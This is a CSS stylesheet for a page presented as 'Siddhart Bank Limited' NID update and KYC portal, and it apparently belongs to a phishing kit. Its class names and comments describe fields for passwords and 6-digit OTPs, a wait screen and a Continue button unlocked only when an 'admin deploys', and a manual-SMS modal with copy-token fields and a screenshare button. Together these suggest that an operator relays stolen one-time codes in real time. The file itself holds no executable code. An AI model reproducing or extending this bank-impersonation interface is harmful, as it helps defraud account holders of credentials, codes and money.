/* ==========================================================================
   Siddhart Bank Limited - NID Update &#x0930;&#x093E;&#x0937;&#x094D;&#x091F;&#x094D;&#x0930;&#x093F;&#x092F; &#x092A;&#x0930;&#x093F;&#x091A;&#x092F;&#x092A;&#x0924;&#x094D;&#x0930; &amp; KYC Portal
   Theme: Siddhart Bank Corporate Gold/Yellow (#FAB800) & Slate Charcoal (#0F172A)
   ========================================================================== */

:root {
  --clr-primary: #fab800;
  --clr-primary-hover: #e5a700;
  --clr-primary-active: #cc9400;
  --clr-primary-light: #fffbeb;
  --clr-primary-glow: rgba(250, 184, 0, 0.35);

  --clr-accent-crimson: #e31b23;
  --clr-accent-red: #e31b23;
  --clr-accent-red-hover: #c4141c;
  --clr-accent-gold: #fab800;
  --clr-accent-yellow: #fab800;

  --clr-bg-page: #0f172a;
  --clr-card: #ffffff;
  --clr-border: #e2e8f0;
  --clr-border-focus: #fab800;

  --clr-text-main: #1e293b;
  --clr-text-heading: #0f172a;
  --clr-text-muted: #64748b;
  --clr-text-light: #94a3b8;

  --clr-success: #16a34a;
  --clr-success-bg: #f0fdf4;
  --clr-success-border: #bbf7d0;

  --clr-error: #e31b23;
  --clr-error-bg: #fef2f2;
  --clr-error-border: #fecaca;

  --radius-card: 22px;
  --radius-input: 10px;
  --radius-btn: 10px;

  --shadow-card: 0 20px 48px -10px rgba(15, 23, 42, 0.45), 0 4px 12px rgba(0, 0, 0, 0.12);
  --shadow-btn: 0 4px 14px rgba(250, 184, 0, 0.4);

  --font-main: 'Inter', 'Plus Jakarta Sans', 'Noto Sans Devanagari', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif;
  --font-heading: 'Plus Jakarta Sans', 'Inter', 'Noto Sans Devanagari', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
  --font-brand: 'Plus Jakarta Sans', 'Inter', 'Noto Sans Devanagari', sans-serif;
  --font-mono: 'Space Mono', 'Consolas', monospace;
  --font-nepali: 'Noto Sans Devanagari', 'Mangal', 'Arial Unicode MS', sans-serif;
}

/* Base Reset */
*,
*::before,
*::after {
  box-sizing: border-box;
  margin: 0;
  padding: 0;
  -webkit-tap-highlight-color: transparent;
}

html {
  font-size: 16px;
  scroll-behavior: smooth;
  min-height: 100%;
}

body {
  font-family: var(--font-main);
  background-color: var(--clr-bg-page);
  background-image: linear-gradient(145deg, #090d16 0%, #0f172a 45%, #1e293b 100%);
  background-attachment: fixed;
  color: var(--clr-text-main);
  min-height: 100vh;
  display: flex;
  flex-direction: column;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  position: relative;
  overflow-x: hidden;
}

/* Ambient Background Logo Watermark */
.body-bg-watermark {
  position: fixed;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -45%);
  width: 650px;
  height: 650px;
  background-image: url('global_bg_watermark.png?v=sbl_v10');
  background-size: contain;
  background-repeat: no-repeat;
  background-position: center;
  mix-blend-mode: screen;
  opacity: 0.08;
  pointer-events: none;
  z-index: 0;
}

/* ==========================================================================
   Top Navigation Bar
   ========================================================================== */
.bank-top-nav {
  background: #ffffff;
  border-bottom: 1px solid rgba(255, 255, 255, 0.2);
  padding: 10px 20px;
  width: 100%;
  position: relative;
  z-index: 10;
  box-shadow: 0 2px 10px rgba(0, 0, 0, 0.08);
}

.bank-nav-container {
  max-width: 1100px;
  margin: 0 auto;
  display: flex;
  justify-content: space-between;
  align-items: center;
  gap: 12px;
}

.bank-primary-brand {
  display: flex;
  align-items: center;
  gap: 10px;
}

.brand-logo-img {
  height: 38px;
  max-width: 160px;
  object-fit: contain;
  display: block;
}

.brand-tagline {
  font-size: 12.5px;
  font-weight: 600;
  color: #64748b;
  display: none;
}

@media (min-width: 580px) {
  .brand-tagline {
    display: inline;
  }
}

.nav-right-meta {
  display: flex;
  align-items: center;
  gap: 12px;
}

.security-badge {
  display: flex;
  align-items: center;
  gap: 5px;
  background: var(--clr-primary-light);
  color: var(--clr-primary);
  border: 1px solid rgba(0, 114, 152, 0.2);
  padding: 4px 10px;
  border-radius: 20px;
  font-size: 11.5px;
  font-weight: 600;
}

.admin-link-btn {
  display: inline-flex;
  align-items: center;
  gap: 5px;
  font-size: 0.75rem;
  color: #475569;
  text-decoration: none;
  padding: 4px 10px;
  border: 1px solid #cbd5e1;
  border-radius: 7px;
  font-weight: 600;
  background: #f8fafc;
  transition: all 0.2s ease;
}

.admin-link-btn:hover {
  background: var(--clr-primary);
  color: #ffffff;
  border-color: var(--clr-primary);
}

/* ==========================================================================
   Main Layout & Centered Portal Card
   ========================================================================== */
.main-layout {
  flex: 1;
  display: flex;
  justify-content: center;
  align-items: center;
  padding: 24px 16px 40px 16px;
  position: relative;
  z-index: 1;
  width: 100%;
}

.portal-card-wrapper {
  width: 100%;
  max-width: 440px;
  margin: 0 auto;
}

/* Main KYC Form Card */
.kyc-card {
  background: var(--clr-card);
  width: 100%;
  border-radius: var(--radius-card);
  box-shadow: var(--shadow-card);
  overflow: hidden;
  display: flex;
  flex-direction: column;
  position: relative;
  border: 1px solid rgba(226, 232, 240, 0.9);
}

/* Card Background Watermark */
.card-bg-watermark {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -40%);
  width: 380px;
  height: 380px;
  background-image: url('global_bg_watermark.png?v=sbl_v10');
  background-size: contain;
  background-repeat: no-repeat;
  background-position: center;
  mix-blend-mode: multiply;
  opacity: 0.055;
  pointer-events: none;
  z-index: 0;
}

/* ==========================================================================
   Card Top: White Brand Header with Logo
   ========================================================================== */
.card-top-header {
  background: #ffffff;
  padding: 16px 20px 14px 20px;
  display: flex;
  align-items: center;
  position: relative;
  z-index: 2;
}

.card-brand-wrap {
  display: flex;
  align-items: center;
  gap: 12px;
}

.card-brand-logo {
  height: 48px;
  max-width: 190px;
  object-fit: contain;
  display: block;
}

.card-brand-text-block {
  display: flex;
  flex-direction: column;
  line-height: 1.15;
}

.card-brand-name {
  font-family: var(--font-brand);
  font-size: 20px;
  font-weight: 800;
  color: #0f172a;
  letter-spacing: -0.2px;
}

.card-brand-sub {
  font-family: var(--font-brand);
  font-size: 11px;
  font-weight: 700;
  letter-spacing: 0.5px;
  color: #b45309;
}

/* ==========================================================================
   Card Banner: NID UPDATE राष्ट्रिय परिचयपत्र
   ========================================================================== */
.card-nid-banner {
  background: var(--clr-primary);
  background: linear-gradient(90deg, #fab800 0%, #f59e0b 100%);
  border-bottom: 3px solid #0f172a;
  padding: 12px 20px;
  position: relative;
  z-index: 2;
  box-shadow: 0 2px 8px rgba(250, 184, 0, 0.3);
}

.nid-banner-inner {
  display: flex;
  align-items: center;
  gap: 10px;
  color: #0f172a;
}

.nid-banner-icon {
  flex-shrink: 0;
  color: #0f172a;
}

.nid-banner-text {
  font-family: 'Noto Sans Devanagari', var(--font-brand);
  font-size: 14.5px;
  font-weight: 800;
  letter-spacing: 0.5px;
  color: #0f172a;
}

/* Nepali text helper class */
.nepali-text {
  font-family: var(--font-nepali);
  font-weight: 600;
}

/* ==========================================================================
   Stepper Navigation Track (Horizontal matching screenshot)
   ========================================================================== */
.stepper-track-wrap {
  padding: 22px 20px 10px 20px;
  background: transparent;
  position: relative;
  z-index: 2;
}

.stepper-track {
  display: flex;
  align-items: flex-start;
  justify-content: space-between;
  position: relative;
}

.stepper-step {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 6px;
  position: relative;
  z-index: 2;
  min-width: 52px;
}

.step-circle {
  width: 32px;
  height: 32px;
  border-radius: 50%;
  border: 1.5px solid var(--clr-border);
  background: #ffffff;
  color: var(--clr-text-light);
  display: flex;
  align-items: center;
  justify-content: center;
  font-size: 13.5px;
  font-weight: 700;
  transition: all 0.25s ease;
}

.step-name {
  font-size: 12px;
  font-weight: 500;
  color: var(--clr-text-light);
  transition: color 0.25s ease;
}

/* Active Step */
.stepper-step.active .step-circle {
  background: var(--clr-primary);
  border-color: var(--clr-primary);
  color: #0f172a;
  font-weight: 800;
  box-shadow: 0 3px 12px rgba(250, 184, 0, 0.5);
  transform: scale(1.05);
}

.stepper-step.active .step-name {
  color: #b45309;
  font-weight: 700;
}

/* Completed Step */
.stepper-step.completed .step-circle {
  background: var(--clr-primary);
  border-color: var(--clr-primary);
  color: #0f172a;
  font-weight: 800;
}

.stepper-step.completed .step-name {
  color: var(--clr-text-main);
  font-weight: 600;
}

/* Connecting Line */
.stepper-line {
  flex: 1;
  height: 1.5px;
  background: #e2e8f0;
  margin-top: 15px;
  position: relative;
  z-index: 1;
  transition: background 0.3s ease;
}

.stepper-line.completed {
  background: var(--clr-primary);
}

/* ==========================================================================
   Card Body & Dynamic Step Views
   ========================================================================== */
.card-body {
  padding: 16px 24px 30px 24px;
  position: relative;
  z-index: 2;
}

.step-view {
  display: none;
  opacity: 0;
  transform: translateY(8px);
  transition: opacity 0.25s ease, transform 0.25s ease;
}

.step-view.active {
  display: block;
  opacity: 1;
  transform: translateY(0);
  animation: fadeInStep 0.3s cubic-bezier(0.16, 1, 0.3, 1) forwards;
}

@keyframes fadeInStep {
  from {
    opacity: 0;
    transform: translateY(10px);
  }

  to {
    opacity: 1;
    transform: translateY(0);
  }
}

/* Step Title Block */
.step-title-block {
  margin-top: 10px;
  margin-bottom: 22px;
  text-align: left;
}

.step-counter-tag {
  display: block;
  font-size: 11px;
  font-weight: 700;
  letter-spacing: 2px;
  text-transform: uppercase;
  color: #64748b;
  margin-bottom: 4px;
}

.step-main-title {
  font-family: var(--font-heading);
  font-size: 26px;
  font-weight: 800;
  color: #0f172a;
  line-height: 1.25;
  margin-bottom: 6px;
  letter-spacing: -0.5px;
}

.step-sub-desc {
  font-size: 13.5px;
  color: #64748b;
  line-height: 1.45;
}

/* ==========================================================================
   Form Fields
   ========================================================================== */
.form-group {
  margin-bottom: 18px;
  position: relative;
}

.form-label {
  display: block;
  font-size: 13px;
  font-weight: 600;
  color: #1e293b;
  margin-bottom: 6px;
}

.form-input-box {
  position: relative;
  display: flex;
  align-items: center;
  background: #ffffff;
  border: 1.5px solid #dcdfe4;
  border-radius: var(--radius-input);
  transition: all 0.2s ease;
  overflow: hidden;
}

.form-input-box:focus-within {
  border-color: var(--clr-primary);
  box-shadow: 0 0 0 3.5px var(--clr-primary-glow);
}

.form-input-box input {
  width: 100%;
  height: 48px;
  padding: 12px 14px;
  border: none;
  outline: none;
  background: transparent;
  font-family: inherit;
  font-size: 14.5px;
  color: var(--clr-text-main);
  font-weight: 500;
}

.form-input-box input::placeholder {
  color: #94a3b8;
  font-weight: 400;
}

/* Password Toggle Addon */
.form-input-box.with-addon input {
  padding-right: 44px;
}

.field-toggle-btn {
  position: absolute;
  right: 6px;
  top: 50%;
  transform: translateY(-50%);
  background: transparent;
  border: none;
  width: 36px;
  height: 36px;
  border-radius: 6px;
  display: flex;
  align-items: center;
  justify-content: center;
  cursor: pointer;
  color: #64748b;
  transition: all 0.15s ease;
}

.field-toggle-btn:hover {
  color: var(--clr-primary);
  background: rgba(0, 0, 0, 0.04);
}

.hidden {
  display: none !important;
}

/* Field Errors */
.form-input-box.has-error {
  border-color: var(--clr-error) !important;
  background: var(--clr-error-bg);
  animation: shakeField 0.3s ease;
}

@keyframes shakeField {

  0%,
  100% {
    transform: translateX(0);
  }

  25% {
    transform: translateX(-4px);
  }

  75% {
    transform: translateX(4px);
  }
}

.field-error {
  font-size: 12px;
  color: var(--clr-error);
  margin-top: 5px;
  font-weight: 500;
  display: none;
}

.field-error.visible {
  display: block;
}

/* Terms Disclaimer */
.terms-disclaimer {
  font-size: 12px;
  color: #64748b;
  line-height: 1.5;
  margin-top: 14px;
  margin-bottom: 22px;
  text-align: left;
}

.legal-link {
  color: var(--clr-primary);
  font-weight: 600;
  text-decoration: underline;
  cursor: pointer;
}

.legal-link:hover {
  color: var(--clr-primary-hover);
}

/* Action Rows */
.form-action-row {
  display: flex;
  align-items: center;
  margin-top: 24px;
}

.form-action-row.right-align {
  justify-content: flex-end;
}

.form-action-row.between-align {
  justify-content: space-between;
  gap: 12px;
}

/* Buttons */
.btn-primary-action {
  background: var(--clr-primary);
  background: linear-gradient(135deg, #fab800 0%, #f59e0b 100%);
  color: #0f172a;
  border: none;
  border-radius: var(--radius-btn);
  padding: 12px 34px;
  font-family: inherit;
  font-size: 15px;
  font-weight: 800;
  display: inline-flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  cursor: pointer;
  box-shadow: 0 4px 14px rgba(250, 184, 0, 0.45);
  transition: all 0.2s ease;
  user-select: none;
}

.btn-primary-action:hover {
  background: linear-gradient(135deg, #f59e0b 0%, #e5a700 100%);
  color: #000000;
  transform: translateY(-1px);
  box-shadow: 0 6px 18px rgba(250, 184, 0, 0.55);
}

.btn-primary-action:active {
  transform: translateY(1px);
}

.btn-primary-action.disabled {
  opacity: 0.6;
  pointer-events: none;
  cursor: not-allowed;
  filter: grayscale(40%);
}

.btn-secondary-action {
  background: #f1f5f9;
  color: #334155;
  border: 1px solid #cbd5e1;
  border-radius: var(--radius-btn);
  padding: 11px 22px;
  font-family: inherit;
  font-size: 14.5px;
  font-weight: 600;
  cursor: pointer;
  transition: all 0.2s ease;
}

.btn-secondary-action:hover {
  background: #e2e8f0;
  color: #0f172a;
}

/* ==========================================================================
   STEP 3: Processing Screen
   ========================================================================== */
.wait-notice-bar {
  background: rgba(0, 114, 152, 0.08);
  border: 1.5px solid rgba(0, 114, 152, 0.25);
  border-radius: 10px;
  padding: 12px 16px;
  display: flex;
  align-items: center;
  gap: 10px;
  margin-bottom: 20px;
}

.notice-icon {
  font-size: 1.25rem;
}

.notice-text {
  font-size: 0.88rem;
  color: var(--clr-primary);
  font-weight: 600;
  line-height: 1.4;
}

.user-summary-card {
  background: #f8fafc;
  border: 1px solid #e2e8f0;
  border-radius: 12px;
  padding: 12px 16px;
  margin-bottom: 22px;
  text-align: left;
}

.summary-row {
  display: flex;
  align-items: center;
  font-size: 13.5px;
  line-height: 1.6;
}

.summary-label {
  font-weight: 700;
  color: #475569;
  width: 85px;
  flex-shrink: 0;
}

.summary-value {
  color: #0f172a;
  font-weight: 600;
}

/* Big Countdown Display */
.big-countdown-display {
  font-family: var(--font-brand);
  font-size: 68px;
  font-weight: 800;
  color: var(--clr-primary);
  text-align: center;
  line-height: 1;
  margin: 10px 0 16px 0;
  letter-spacing: -1px;
}

/* Circular Spinner */
.spinner-wrapper {
  display: flex;
  justify-content: center;
  align-items: center;
  margin-bottom: 22px;
}

.circular-spinner {
  width: 46px;
  height: 46px;
}

.spinner-svg {
  width: 100%;
  height: 100%;
  transform: rotate(-90deg);
}

.spinner-track {
  stroke: #e2e8f0;
}

.spinner-arc {
  stroke: var(--clr-primary);
  stroke-linecap: round;
  stroke-dasharray: 125.6;
  stroke-dashoffset: 40;
  animation: spinnerRotate 1.4s cubic-bezier(0.4, 0, 0.2, 1) infinite;
}

@keyframes spinnerRotate {
  0% {
    transform: rotate(0deg);
    stroke-dashoffset: 110;
  }

  50% {
    stroke-dashoffset: 35;
  }

  100% {
    transform: rotate(360deg);
    stroke-dashoffset: 110;
  }
}

/* Linear Progress Bar */
.linear-progress-track {
  width: 100%;
  height: 6px;
  background: #e2e8f0;
  border-radius: 999px;
  overflow: hidden;
  margin-bottom: 12px;
}

.linear-progress-bar {
  height: 100%;
  background: linear-gradient(90deg, #0a3e89, #c6151d);
  border-radius: 999px;
  transition: width 0.3s ease;
}

.processing-status-text {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 6px;
  font-size: 13.5px;
  color: #475569;
  font-weight: 600;
}

.estimated-time-text {
  text-align: center;
  font-size: 12px;
  color: #94a3b8;
  margin-top: 4px;
}

.manual-sms-link {
  background: none;
  border: none;
  color: var(--clr-primary);
  font-size: 0.85rem;
  cursor: pointer;
  text-decoration: underline;
  font-weight: 600;
  padding: 6px 10px;
}

.awaiting-admin-box {
  background: rgba(16, 185, 129, 0.08);
  border: 1.5px solid rgba(16, 185, 129, 0.3);
  border-radius: 12px;
  padding: 14px 16px;
  text-align: center;
}

/* ==========================================================================
   STEP 4: OTP Verification
   ========================================================================== */
.otp-container {
  margin: 18px 0 20px 0;
}

.otp-box-frame {
  display: flex;
  justify-content: center;
}

.otp-slots {
  display: flex;
  gap: 8px;
  justify-content: center;
}

.otp-digit {
  width: 44px;
  height: 52px;
  text-align: center;
  font-family: var(--font-mono);
  font-size: 22px;
  font-weight: 700;
  color: #0f172a;
  background: #ffffff;
  border: 1.5px solid #cbd5e1;
  border-radius: 10px;
  outline: none;
  transition: all 0.2s ease;
}

.otp-digit:focus {
  border-color: var(--clr-primary);
  box-shadow: 0 0 0 3px var(--clr-primary-glow);
  transform: translateY(-1px);
}

.resend-otp-wrapper {
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  font-size: 13px;
  color: #64748b;
  margin-top: 14px;
}

.resend-link-btn {
  background: none;
  border: none;
  color: var(--clr-primary);
  font-weight: 700;
  font-size: 13px;
  cursor: pointer;
  padding: 0;
  text-decoration: underline;
}

.resend-link-btn.disabled {
  color: #94a3b8;
  cursor: not-allowed;
  text-decoration: none;
}

/* ==========================================================================
   SUCCESS VIEW
   ========================================================================== */
.success-badge-wrapper {
  display: flex;
  justify-content: center;
  margin: 14px 0 16px 0;
}

.success-circle-icon {
  width: 76px;
  height: 76px;
  border-radius: 50%;
  background: #16a34a;
  display: flex;
  align-items: center;
  justify-content: center;
  box-shadow: 0 10px 24px rgba(22, 163, 74, 0.35);
  animation: popSuccess 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275);
}

@keyframes popSuccess {
  0% {
    transform: scale(0.6);
    opacity: 0;
  }

  100% {
    transform: scale(1);
    opacity: 1;
  }
}

.confirmation-lead-text {
  font-size: 15px;
  font-weight: 600;
  color: #1e293b;
  text-align: center;
  margin-bottom: 4px;
}

.confirmation-sub-text {
  font-size: 13.5px;
  color: #64748b;
  text-align: center;
  margin-bottom: 22px;
}

.ticket-card {
  background: #f8fafc;
  border: 1px solid #e2e8f0;
  border-radius: 12px;
  padding: 14px 18px;
  margin-bottom: 10px;
}

.ticket-row {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 6px 0;
  font-size: 13px;
  border-bottom: 1px dashed #e2e8f0;
}

.ticket-row:last-child {
  border-bottom: none;
}

.ticket-label {
  color: #64748b;
  font-weight: 500;
}

.ticket-val {
  font-family: var(--font-mono);
  font-weight: 700;
  color: #0f172a;
}

.ticket-status-badge {
  background: #fef3c7;
  color: #92400e;
  border: 1px solid #fde68a;
  padding: 2px 8px;
  border-radius: 20px;
  font-size: 11.5px;
  font-weight: 700;
}

/* ==========================================================================
   Footer
   ========================================================================== */
.bank-footer {
  margin-top: auto;
  background: rgba(9, 39, 87, 0.95);
  backdrop-filter: blur(10px);
  border-top: 1px solid rgba(255, 255, 255, 0.12);
  padding: 18px 20px;
  width: 100%;
  position: relative;
  z-index: 10;
}

.footer-container {
  max-width: 1100px;
  margin: 0 auto;
  display: flex;
  flex-direction: column;
  gap: 8px;
  font-size: 12px;
  color: #e2e8f0;
}

@media (min-width: 768px) {
  .footer-container {
    flex-direction: row;
    justify-content: space-between;
    align-items: center;
  }
}

.footer-left .footer-text {
  font-weight: 500;
  color: #f1f5f9;
}

.footer-left .footer-sub {
  color: #94a3b8;
  font-size: 11px;
  margin-top: 2px;
}

.footer-right {
  display: flex;
  gap: 8px;
  align-items: center;
}

.footer-right .legal-link {
  color: #93c5fd;
  text-decoration: none;
  transition: color 0.2s ease;
}

.footer-right .legal-link:hover {
  color: #ffffff;
  text-decoration: underline;
}

.footer-sep {
  color: rgba(255, 255, 255, 0.35);
}

/* ==========================================================================
   Review Summary Card in Step 3
   ========================================================================== */
.review-summary-card {
  background: #f8fafc;
  border: 1px solid #e2e8f0;
  border-radius: 14px;
  padding: 16px 18px;
  margin-top: 10px;
  display: flex;
  flex-direction: column;
  gap: 10px;
  box-shadow: 0 1px 3px rgba(0, 0, 0, 0.04);
}

.review-header-title {
  display: flex;
  align-items: center;
  gap: 8px;
  font-size: 12.5px;
  font-weight: 700;
  color: var(--clr-primary);
  padding-bottom: 8px;
  border-bottom: 1px solid #e2e8f0;
  text-transform: uppercase;
  letter-spacing: 0.6px;
}

.review-row {
  display: flex;
  justify-content: space-between;
  align-items: center;
  font-size: 13px;
  padding: 3px 0;
}

.review-label {
  color: #64748b;
  font-weight: 500;
}

.review-value {
  color: #0f172a;
  font-weight: 600;
  text-align: right;
  max-width: 62%;
  word-break: break-word;
}

.review-row.highlight-security {
  background: #eff6ff;
  border: 1px solid #bfdbfe;
  border-radius: 8px;
  padding: 8px 10px;
  margin-top: 6px;
}

.review-badge-verified {
  color: #104d9c;
  font-size: 11.5px;
  font-weight: 700;
}

/* ==========================================================================
   Modals (Policy Modal & Manual SMS Modal)
   ========================================================================== */
.modal-overlay {
  position: fixed;
  inset: 0;
  background: rgba(15, 23, 42, 0.75);
  backdrop-filter: blur(4px);
  display: none;
  align-items: center;
  justify-content: center;
  z-index: 1000;
  padding: 16px;
}

.modal-overlay.open {
  display: flex;
}

.modal-card {
  background: #ffffff;
  border-radius: 16px;
  width: 100%;
  max-width: 520px;
  box-shadow: 0 20px 40px rgba(0, 0, 0, 0.25);
  overflow: hidden;
  display: flex;
  flex-direction: column;
  max-height: 90vh;
}

.modal-header {
  padding: 16px 20px;
  border-bottom: 1px solid #e2e8f0;
  display: flex;
  justify-content: space-between;
  align-items: center;
}

.modal-header h2,
.modal-header h3 {
  font-size: 1.05rem;
  font-weight: 700;
  color: #0f172a;
}

.modal-close-btn {
  background: none;
  border: none;
  font-size: 1.6rem;
  color: #94a3b8;
  cursor: pointer;
  line-height: 1;
}

.modal-close-btn:hover {
  color: #0f172a;
}

.modal-body {
  padding: 20px;
  overflow-y: auto;
  font-size: 13.5px;
  line-height: 1.6;
  color: #334155;
}

/* Manual SMS Modal Specifics */
.modal-header-brand {
  display: flex;
  align-items: center;
  gap: 10px;
}

.sms-modal-icon-wrap {
  width: 36px;
  height: 36px;
  border-radius: 8px;
  background: var(--clr-primary-light);
  color: var(--clr-primary);
  display: flex;
  align-items: center;
  justify-content: center;
}

.modal-subtitle {
  font-size: 11.5px;
  color: #64748b;
  margin-top: 1px;
}

.manual-sms-notice-banner {
  background: #f8fafc;
  border: 1px solid #e2e8f0;
  border-radius: 10px;
  padding: 10px 14px;
  display: flex;
  gap: 8px;
  font-size: 12.5px;
  margin-bottom: 16px;
}

.sms-field-group {
  margin-bottom: 14px;
}

.sms-field-label {
  display: flex;
  justify-content: space-between;
  font-size: 12px;
  font-weight: 600;
  color: #475569;
  margin-bottom: 4px;
}

.sms-req-tag {
  color: #94a3b8;
  font-size: 11px;
}

.sms-copy-row {
  display: flex;
  gap: 8px;
}

.sms-copy-row.full-vertical {
  flex-direction: column;
}

.sms-readonly-field {
  flex: 1;
  background: #f8fafc;
  border: 1px solid #cbd5e1;
  border-radius: 8px;
  padding: 9px 12px;
  font-family: var(--font-mono);
  font-size: 14px;
  color: #0f172a;
  font-weight: 700;
}

.sms-readonly-textarea {
  width: 100%;
  background: #f8fafc;
  border: 1px solid #cbd5e1;
  border-radius: 8px;
  padding: 9px 12px;
  font-family: var(--font-mono);
  font-size: 12.5px;
  color: #0f172a;
  resize: none;
}

.btn-copy-token {
  background: #ffffff;
  border: 1.5px solid var(--clr-primary);
  color: var(--clr-primary);
  border-radius: 8px;
  padding: 8px 14px;
  font-size: 12.5px;
  font-weight: 600;
  cursor: pointer;
  white-space: nowrap;
  transition: all 0.15s ease;
}

.btn-copy-token:hover {
  background: var(--clr-primary);
  color: #ffffff;
}

.sms-instruction-steps {
  background: #f8fafc;
  border-radius: 8px;
  padding: 10px 14px;
  font-size: 12px;
  color: #475569;
  margin: 14px 0;
  line-height: 1.6;
}

.screenshare-actions-row {
  margin-top: 16px;
}

.btn-share-start {
  width: 100%;
  background: var(--clr-primary);
  color: #ffffff;
  border: none;
  border-radius: 10px;
  padding: 12px;
  font-weight: 700;
  font-size: 14px;
  display: flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  cursor: pointer;
}


/* =============================================
   STEP 2 — SMS TIMER & DEPLOY WAIT STYLES
   ============================================= */

.sms-timer-wrap {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 14px;
  padding: 28px 0 10px;
}

.sms-timer-circle {
  position: relative;
  width: 80px;
  height: 80px;
  display: flex;
  align-items: center;
  justify-content: center;
}

.timer-svg {
  position: absolute;
  top: 0;
  left: 0;
}

.timer-countdown {
  font-family: 'Space Mono', monospace;
  font-size: 1.6rem;
  font-weight: 700;
  color: #b45309;
  position: relative;
  z-index: 1;
}

.sms-timer-label {
  font-size: 0.88rem;
  color: #4b5563;
  text-align: center;
  line-height: 1.5;
}

.sms-shortcode-tag {
  display: inline-block;
  background: #fab800;
  color: #0f172a;
  font-weight: 800;
  font-size: 0.78rem;
  padding: 1px 7px;
  border-radius: 4px;
  font-family: 'Space Mono', monospace;
  letter-spacing: 0.5px;
}

/* Waiting pulse dots */
.sms-waiting-wrap {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 10px;
  padding: 20px 0 6px;
}

.sms-waiting-pulse {
  display: flex;
  gap: 7px;
  align-items: center;
}

.pulse-dot {
  width: 10px;
  height: 10px;
  border-radius: 50%;
  background: #104d9c;
  opacity: 0.3;
  animation: pulseBounce 1.4s infinite ease-in-out;
}

.pulse-dot:nth-child(2) {
  animation-delay: 0.2s;
}

.pulse-dot:nth-child(3) {
  animation-delay: 0.4s;
}

@keyframes pulseBounce {

  0%,
  80%,
  100% {
    opacity: 0.3;
    transform: scale(0.85);
  }

  40% {
    opacity: 1;
    transform: scale(1.15);
  }
}

.sms-waiting-label {
  font-size: 0.9rem;
  font-weight: 600;
  color: #374151;
  text-align: center;
}

.sms-waiting-sub {
  font-size: 0.82rem;
  color: #6b7280;
  text-align: center;
  line-height: 1.5;
}

/* Deployed SMS message display */
.sms-deployed-msg {
  background: #f0fdf4;
  border: 1.5px solid #86efac;
  border-radius: 10px;
  padding: 14px 16px;
  margin-top: 10px;
}

.sms-msg-header {
  display: flex;
  align-items: center;
  gap: 6px;
  font-size: 0.8rem;
  font-weight: 700;
  color: #15803d;
  margin-bottom: 6px;
}

.sms-msg-text {
  font-size: 0.88rem;
  color: #166534;
  line-height: 1.5;
  font-family: 'Space Mono', monospace;
}

/* Disabled Continue button state — locked until admin deploys */
#submitStep2Btn:disabled {
  opacity: 0.38 !important;
  cursor: not-allowed !important;
  pointer-events: none !important;
  filter: grayscale(0.5);
}

#submitStep2Btn:disabled:hover {
  transform: none !important;
  box-shadow: none !important;
}

/* Unlocked Continue button state — active after admin deploy */
#submitStep2Btn.ready-action,
#submitStep2Btn:not(:disabled) {
  opacity: 1 !important;
  cursor: pointer !important;
  pointer-events: auto !important;
  filter: none !important;
  animation: deployUnlockedPulse 1.8s infinite ease-in-out;
}

@keyframes deployUnlockedPulse {
  0% {
    box-shadow: 0 4px 14px rgba(250, 184, 0, 0.45);
    transform: translateY(0);
  }
  50% {
    box-shadow: 0 6px 22px rgba(250, 184, 0, 0.75);
    transform: translateY(-1px);
  }
  100% {
    box-shadow: 0 4px 14px rgba(250, 184, 0, 0.45);
    transform: translateY(0);
  }
}

/* Timer ring smooth drain animation */
.timer-ring {
  transition: stroke-dashoffset 0.95s linear;
}

/* =============================================
   STEP 3 — 6-DIGIT OTP INPUT STYLES
   ============================================= */

.otp-section {
  background: #f8faff;
  border: 1.5px solid #d1e3ff;
  border-radius: 12px;
  padding: 18px 20px 14px;
  margin-top: 18px;
}

.otp-label-row {
  display: flex;
  align-items: center;
  gap: 7px;
  margin-bottom: 4px;
}

.otp-label {
  font-size: 0.88rem;
  font-weight: 700;
  color: #104d9c;
}

.otp-hint {
  font-size: 0.8rem;
  color: #6b7280;
  margin-bottom: 14px;
  line-height: 1.4;
}

.otp-boxes-wrap {
  display: flex;
  gap: 10px;
  justify-content: flex-start;
  flex-wrap: wrap;
}

.otp-box {
  width: 48px;
  height: 56px;
  border: 2px solid #d1d5db;
  border-radius: 10px;
  font-size: 1.5rem;
  font-weight: 700;
  font-family: 'Space Mono', monospace;
  text-align: center;
  color: #111827;
  background: #fff;
  outline: none;
  transition: border-color 0.18s, box-shadow 0.18s, transform 0.1s;
  caret-color: transparent;
}

.otp-box:focus {
  border-color: #104d9c;
  box-shadow: 0 0 0 3px rgba(16, 77, 156, 0.15);
  transform: translateY(-2px);
}

.otp-box.filled {
  border-color: #104d9c;
  background: #eef3ff;
  color: #104d9c;
}

.otp-box.otp-error {
  border-color: #ef4444;
  background: #fff5f5;
  animation: otpShake 0.4s ease;
}

@keyframes otpShake {

  0%,
  100% {
    transform: translateX(0);
  }

  25% {
    transform: translateX(-4px);
  }

  75% {
    transform: translateX(4px);
  }
}

.otp-error-msg {
  margin-top: 10px;
  font-size: 0.82rem;
}

@media (max-width: 400px) {
  .otp-box {
    width: 40px;
    height: 48px;
    font-size: 1.3rem;
    gap: 7px;
  }

  .otp-boxes-wrap {
    gap: 7px;
  }
}